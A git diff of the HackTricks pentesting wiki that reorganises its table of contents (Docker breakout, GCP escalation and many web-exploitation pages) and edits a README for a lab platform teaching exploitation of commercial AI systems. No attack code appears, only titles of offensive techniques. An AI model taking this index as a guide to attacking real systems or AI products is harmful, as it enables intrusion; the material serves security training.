TRICKS**](https://github.com/carlospolop/hacktricks)** by Carlos Polop is licensed under the**[** Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ +**If you want to use it with commercial purposes, contact me.** diff --git a/SUMMARY.md b/SUMMARY.md index ee3dee8f..f24df071 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -17,7 +17,7 @@ ## Shells -* [Shells \(Linux, Windows, MSFVenom\)](shells/shells/README.md) +* [Shells (Linux, Windows, MSFVenom)](shells/shells/README.md) * [MSFVenom - CheatSheet](shells/shells/msfvenom.md) * [Shells - Windows](shells/shells/windows.md) * [Shells - Linux](shells/shells/linux.md) @@ -30,9 +30,13 @@ * [PAM - Pluggable Authentication Modules](linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md) * [SELinux](linux-unix/privilege-escalation/selinux.md) * [Logstash](linux-unix/privilege-escalation/logstash.md) - * [AppArmor](linux-unix/privilege-escalation/apparmor.md) - * [Containerd \(ctr\) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md) - * [Docker Breakout](linux-unix/privilege-escalation/docker-breakout.md) + * [Containerd (ctr) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md) + * [Docker Basics & Breakout](linux-unix/privilege-escalation/docker-breakout/README.md) + * [AuthZ& AuthN - Docker Access Authorization Plugin](linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md) + * [Docker Breakout / Privilege Escalation](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md) + * [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md) + * [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md) + * [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md) * [electron/CEF/chromium debugger abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md) * [Escaping from Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md) * [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md) @@ -41,10 +45,9 @@ * [lxd/lxc Group - Privilege escalation](linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md) * [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md) * [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md) - * [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) + * [NFS no_root_squash/no_all_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) * [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md) * [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md) - * [Seccomp](linux-unix/privilege-escalation/seccomp.md) * [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md) * [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md) * [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md) @@ -184,8 +187,8 @@ * [Wifi Attacks](pentesting/pentesting-network/wifi-attacks/README.md) * [Evil Twin EAP-TLS](pentesting/pentesting-network/wifi-attacks/evil-twin-eap-tls.md) * [Pentesting IPv6](pentesting/pentesting-network/pentesting-ipv6.md) - * [Nmap Summary \(ESP\)](pentesting/pentesting-network/nmap-summary-esp.md) - * [Network Protocols Explained \(ESP\)](pentesting/pentesting-network/network-protocols-explained-esp.md) + * [Nmap Summary (ESP)](pentesting/pentesting-network/nmap-summary-esp.md) + * [Network Protocols Explained (ESP)](pentesting/pentesting-network/network-protocols-explained-esp.md) * [IDS and IPS Evasion](pentesting/pentesting-network/ids-evasion.md) * [DHCPv6](pentesting/pentesting-network/dhcpv6.md) * [Pentesting JDWP - Java Debug Wire Protocol](pentesting/pentesting-jdwp-java-debug-wire-protocol.md) @@ -247,30 +250,30 @@ * [Laravel](pentesting/pentesting-web/laravel.md) * [Moodle](pentesting/pentesting-web/moodle.md) * [Nginx](pentesting/pentesting-web/nginx.md) - * [PHP Tricks \(SPA\)](pentesting/pentesting-web/php-tricks-esp/README.md) - * [PHP - Useful Functions & disable\_functions/open\_basedir bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md) - * [disable\_functions bypass - php-fpm/FastCGI](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) - * [disable\_functions bypass - dl function](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md) - * [disable\_functions bypass - PHP 7.0-7.4 \(\*nix only\)](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md) - * [disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - * [disable\_functions - PHP 5.x Shellshock Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md) - * [disable\_functions - PHP 5.2.4 ionCube extension Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md) - * [disable\_functions bypass - PHP <= 5.2.9 on windows](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - * [disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - * [disable\_functions bypass - PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md) - * [disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - * [disable\_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) - * [disable\_functions bypass - PHP 5.2 - FOpen Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md) - * [disable\_functions bypass - via mem](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) - * [disable\_functions bypass - mod\_cgi](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) - * [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) + * [PHP Tricks (SPA)](pentesting/pentesting-web/php-tricks-esp/README.md) + * [PHP - Useful Functions & disable_functions/open_basedir bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md) + * [disable_functions bypass - php-fpm/FastCGI](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) + * [disable_functions bypass - dl function](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md) + * [disable_functions bypass - PHP 7.0-7.4 (\*nix only)](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md) + * [disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) + * [disable_functions - PHP 5.x Shellshock Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md) + * [disable_functions - PHP 5.2.4 ionCube extension Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md) + * [disable_functions bypass - PHP <= 5.2.9 on windows](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md) + * [disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) + * [disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md) + * [disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) + * [disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) + * [disable_functions bypass - PHP 5.2 - FOpen Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md) + * [disable_functions bypass - via mem](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) + * [disable_functions bypass - mod_cgi](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) + * [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) * [Python](pentesting/pentesting-web/python.md) * [Special HTTP headers](pentesting/pentesting-web/special-http-headers.md) * [Spring Actuators](pentesting/pentesting-web/spring-actuators.md) * [Symphony](pentesting/pentesting-web/symphony.md) * [Tomcat](pentesting/pentesting-web/tomcat.md) * [Uncovering CloudFlare](pentesting/pentesting-web/uncovering-cloudflare.md) - * [VMWare \(ESX, VCenter...\)](pentesting/pentesting-web/vmware-esx-vcenter....md) + * [VMWare (ESX, VCenter...)](pentesting/pentesting-web/vmware-esx-vcenter....md) * [Web API Pentesting](pentesting/pentesting-web/web-api-pentesting.md) * [WebDav](pentesting/pentesting-web/put-method-webdav.md) * [werkzeug](pentesting/pentesting-web/werkzeug.md) @@ -297,11 +300,11 @@ * [512 - Pentesting Rexec](pentesting/512-pentesting-rexec.md) * [513 - Pentesting Rlogin](pentesting/pentesting-rlogin.md) * [514 - Pentesting Rsh](pentesting/pentesting-rsh.md) -* [515 - Pentesting Line Printer Daemon \(LPD\)](pentesting/515-pentesting-line-printer-daemon-lpd.md) -* [548 - Pentesting Apple Filing Protocol \(AFP\)](pentesting/584-pentesting-afp.md) +* [515 - Pentesting Line Printer Daemon (LPD)](pentesting/515-pentesting-line-printer-daemon-lpd.md) +* [548 - Pentesting Apple Filing Protocol (AFP)](pentesting/584-pentesting-afp.md) * [554,8554 - Pentesting RTSP](pentesting/554-8554-pentesting-rtsp.md) * [623/UDP/TCP - IPMI](pentesting/623-udp-ipmi.md) -* [631 - Internet Printing Protocol\(IPP\)](pentesting/pentesting-631-internet-printing-protocol-ipp.md) +* [631 - Internet Printing Protocol(IPP)](pentesting/pentesting-631-internet-printing-protocol-ipp.md) * [873 - Pentesting Rsync](pentesting/873-pentesting-rsync.md) * [1026 - Pentesting Rusersd](pentesting/1026-pentesting-rusersd.md) * [1080 - Pentesting Socks](pentesting/1080-pentesting-socks.md) @@ -313,7 +316,7 @@ * [Remote stealth pass brute force](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md) * [Oracle RCE & more](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md) * [1723 - Pentesting PPTP](pentesting/1723-pentesting-pptp.md) -* [1883 - Pentesting MQTT \(Mosquitto\)](pentesting/1883-pentesting-mqtt-mosquitto.md) +* [1883 - Pentesting MQTT (Mosquitto)](pentesting/1883-pentesting-mqtt-mosquitto.md) * [2049 - Pentesting NFS Service](pentesting/nfs-service-pentesting.md) * [2301,2381 - Pentesting Compaq/HP Insight Manager](pentesting/pentesting-compaq-hp-insight-manager.md) * [2375, 2376 Pentesting Docker](pentesting/2375-pentesting-docker.md) @@ -323,10 +326,10 @@ * [3306 - Pentesting Mysql](pentesting/pentesting-mysql.md) * [3389 - Pentesting RDP](pentesting/pentesting-rdp.md) * [3632 - Pentesting distcc](pentesting/3632-pentesting-distcc.md) -* [3690 - Pentesting Subversion \(svn server\)](pentesting/3690-pentesting-subversion-svn-server.md) -* [4369 - Pentesting Erlang Port Mapper Daemon \(epmd\)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md) +* [3690 - Pentesting Subversion (svn server)](pentesting/3690-pentesting-subversion-svn-server.md) +* [4369 - Pentesting Erlang Port Mapper Daemon (epmd)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md) * [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md) -* [5353/UDP Multicast DNS \(mDNS\)](pentesting/5353-udp-multicast-dns-mdns.md) +* [5353/UDP Multicast DNS (mDNS)](pentesting/5353-udp-multicast-dns-mdns.md) * [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md) * [5601 - Pentesting Kibana](pentesting/5601-pentesting-kibana.md) * [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md) @@ -335,14 +338,14 @@ * [5985,5986 - Pentesting WinRM](pentesting/5985-5986-pentesting-winrm.md) * [6000 - Pentesting X11](pentesting/6000-pentesting-x11.md) * [6379 - Pentesting Redis](pentesting/6379-pentesting-redis.md) -* [8009 - Pentesting Apache JServ Protocol \(AJP\)](pentesting/8009-pentesting-apache-jserv-protocol-ajp.md) +* [8009 - Pentesting Apache JServ Protocol (AJP)](pentesting/8009-pentesting-apache-jserv-protocol-ajp.md) * [8089 - Splunkd](pentesting/8089-splunkd.md) * [9000 - Pentesting FastCGI](pentesting/9000-pentesting-fastcgi.md) * [9001 - Pentesting HSQLDB](pentesting/9001-pentesting-hsqldb.md) * [9042/9160 - Pentesting Cassandra](pentesting/cassandra.md) -* [9100 - Pentesting Raw Printing \(JetDirect, AppSocket, PDL-datastream\)](pentesting/9100-pjl.md) +* [9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)](pentesting/9100-pjl.md) * [9200 - Pentesting Elasticsearch](pentesting/9200-pentesting-elasticsearch.md) -* [10000 - Pentesting Network Data Management Protocol \(ndmp\)](pentesting/10000-network-data-management-protocol-ndmp.md) +* [10000 - Pentesting Network Data Management Protocol (ndmp)](pentesting/10000-network-data-management-protocol-ndmp.md) * [11211 - Pentesting Memcache](pentesting/11211-memcache.md) * [15672 - Pentesting RabbitMQ Management](pentesting/15672-pentesting-rabbitmq-management.md) * [27017,27018 - Pentesting MongoDB](pentesting/27017-27018-mongodb.md) @@ -361,24 +364,24 @@ * [Captcha Bypass](pentesting-web/captcha-bypass.md) * [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md) * [Clickjacking](pentesting-web/clickjacking.md) -* [Client Side Template Injection \(CSTI\)](pentesting-web/client-side-template-injection-csti.md) +* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md) * [Command Injection](pentesting-web/command-injection.md) -* [Content Security Policy \(CSP\) Bypass](pentesting-web/content-security-policy-csp-bypass.md) +* [Content Security Policy (CSP) Bypass](pentesting-web/content-security-policy-csp-bypass.md) * [Cookies Hacking](pentesting-web/hacking-with-cookies.md) * [CORS - Misconfigurations & Bypass](pentesting-web/cors-bypass.md) -* [CRLF \(%0D%0A\) Injection](pentesting-web/crlf-0d-0a.md) -* [Cross-site WebSocket hijacking \(CSWSH\)](pentesting-web/cross-site-websocket-hijacking-cswsh.md) -* [CSRF \(Cross Site Request Forgery\)](pentesting-web/csrf-cross-site-request-forgery.md) +* [CRLF (%0D%0A) Injection](pentesting-web/crlf-0d-0a.md) +* [Cross-site WebSocket hijacking (CSWSH)](pentesting-web/cross-site-websocket-hijacking-cswsh.md) +* [CSRF (Cross Site Request Forgery)](pentesting-web/csrf-cross-site-request-forgery.md) * [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md) * [Deserialization](pentesting-web/deserialization/README.md) - * [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution.md) - * [Java JSF ViewState \(.faces\) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md) + * [NodeJS - \__proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution.md) + * [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md) * [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md) - * [Basic Java Deserialization \(ObjectInputStream, readObject\)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md) - * [CommonsCollection1 Payload - Java Transformers to Rutime exec\(\) and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md) - * [Basic .Net deserialization \(ObjectDataProvider gadget, ExpandedWrapper, and Json.Net\)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md) - * [Exploiting \_\_VIEWSTATE knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md) - * [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md) + * [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md) + * [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md) + * [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md) + * [Exploiting \__VIEWSTATE knowing the secrets](pentesting-web/deserialization/exploiting-\__viewstate-knowing-the-secret.md) + * [Exploiting \__VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\__viewstate-parameter.md) * [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) * [Email Header Injection](pentesting-web/email-header-injection.md) * [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md) @@ -389,7 +392,7 @@ * [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling.md) * [H2C Smuggling](pentesting-web/h2c-smuggling.md) * [IDOR](pentesting-web/idor.md) -* [JWT Vulnerabilities \(Json Web Tokens\)](pentesting-web/hacking-jwt-json-web-tokens.md) +* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) * [NoSQL injection](pentesting-web/nosql-injection.md) * [LDAP Injection](pentesting-web/ldap-injection.md) * [Login Bypass](pentesting-web/login-bypass/README.md) @@ -410,30 +413,30 @@ * [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md) * [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) * [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) - * [dblink/lo\_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) + * [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) * [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) * [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) - * [Big Binary Files Upload \(PostgreSQL\)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) + * [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) * [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) * [MySQL injection](pentesting-web/sql-injection/mysql-injection/README.md) * [Mysql SSRF](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) * [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md) * [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md) -* [SSRF \(Server Side Request Forgery\)](pentesting-web/ssrf-server-side-request-forgery.md) -* [SSTI \(Server Side Template Injection\)](pentesting-web/ssti-server-side-template-injection/README.md) +* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery.md) +* [SSTI (Server Side Template Injection)](pentesting-web/ssti-server-side-template-injection/README.md) * [EL - Expression Language](pentesting-web/ssti-server-side-template-injection/el-expression-language.md) * [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md) * [Unicode Normalization vulnerability](pentesting-web/unicode-normalization-vulnerability.md) * [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) * [XPATH injection](pentesting-web/xpath-injection.md) -* [XSLT Server Side Injection \(Extensible Stylesheet Languaje Transformations\)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) +* [XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) * [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) -* [XSS \(Cross Site Scripting\)](pentesting-web/xss-cross-site-scripting/README.md) +* [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md) * [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md) - * [Server Side XSS \(Dynamic PDF\)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) + * [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) * [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md) -* [XSSI \(Cross-Site Script Inclusion\)](pentesting-web/xssi-cross-site-script-inclusion.md) +* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) * [XS-Search](pentesting-web/xs-search.md) ## Forensics @@ -459,7 +462,7 @@ * [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md) * [.pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) * [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md) - * [Desofuscation vbs \(cscript.exe\)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md) + * [Desofuscation vbs (cscript.exe)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md) * [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md) * [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md) * [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md) @@ -490,6 +493,9 @@ * [Cloud Security Review](cloud-security/cloud-security-review.md) * [AWS Security](cloud-security/aws-security.md) +* [GCP Security](cloud-security/gcp-security/README.md) + * [GCP - Local Privilege Escalation / SSH Pivoting](cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md) + * [GCP - IAM Escalation](cloud-security/gcp-security/gcp-iam-escalation.md) ## Physical attacks @@ -502,7 +508,7 @@ * [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) * [Angr](reversing/reversing-tools-basic-methods/angr/README.md) * [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md) - * [Z3 - Satisfiability Modulo Theories \(SMT\)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md) + * [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md) * [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md) * [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md) * [Common API used in Malware](reversing/common-api-used-in-malware.md) @@ -512,9 +518,9 @@ ## Exploiting -* [Linux Exploiting \(Basic\) \(SPA\)](exploiting/linux-exploiting-basic-esp/README.md) +* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) - * [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) + * [ROP - call sys_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md) * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md) * [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md) * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) @@ -522,17 +528,17 @@ * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) * [Exploiting Tools](exploiting/tools/README.md) * [PwnTools](exploiting/tools/pwntools.md) -* [Windows Exploiting \(Basic Guide - OSCP lvl\)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) +* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) ## Cryptography * [Certificates](cryptography/certificates.md) * [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md) * [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md) -* [Electronic Code Book \(ECB\)](cryptography/electronic-code-book-ecb.md) +* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md) * [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md) * [Padding Oracle](cryptography/padding-oracle-priv.md) -* [RC4 - Encrypt&Decrypt](cryptography/rc4-encrypt-and-decrypt.md) +* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md) ## BACKDOORS @@ -554,7 +560,7 @@ * [Output Searching Python internals](misc/basic-python/bypass-python-sandboxes/output-searching-python-internals.md) * [Magic Methods](misc/basic-python/magic-methods.md) * [Web Requests](misc/basic-python/web-requests.md) - * [Bruteforce hash \(few chars\)](misc/basic-python/bruteforce-hash-few-chars.md) + * [Bruteforce hash (few chars)](misc/basic-python/bruteforce-hash-few-chars.md) * [Other Big References](misc/references.md) ## TODO @@ -563,7 +569,7 @@ * [MISC](todo/misc.md) * [Pentesting DNS](todo/pentesting-dns.md) ---- +*** * [Burp Suite](burp-suite.md) * [Other Web Tricks](other-web-tricks.md) @@ -581,4 +587,3 @@ * [Online Platforms with API](online-platforms-with-api.md) * [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md) * [Post Exploitation](post-exploitation.md) - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md index d47078e0..67707d10 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md @@ -2,36 +2,37 @@ ## Presentation -**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... +**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I. **applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... -Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** \(named challenges\), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**. +Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** (named challenges), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**. -Since A.I. applications are relatively new, there is also the possibility that the **harder difficulty challenges for the labs don't have some public known ways of exploitation**, so it's up to you to find the correct solution. 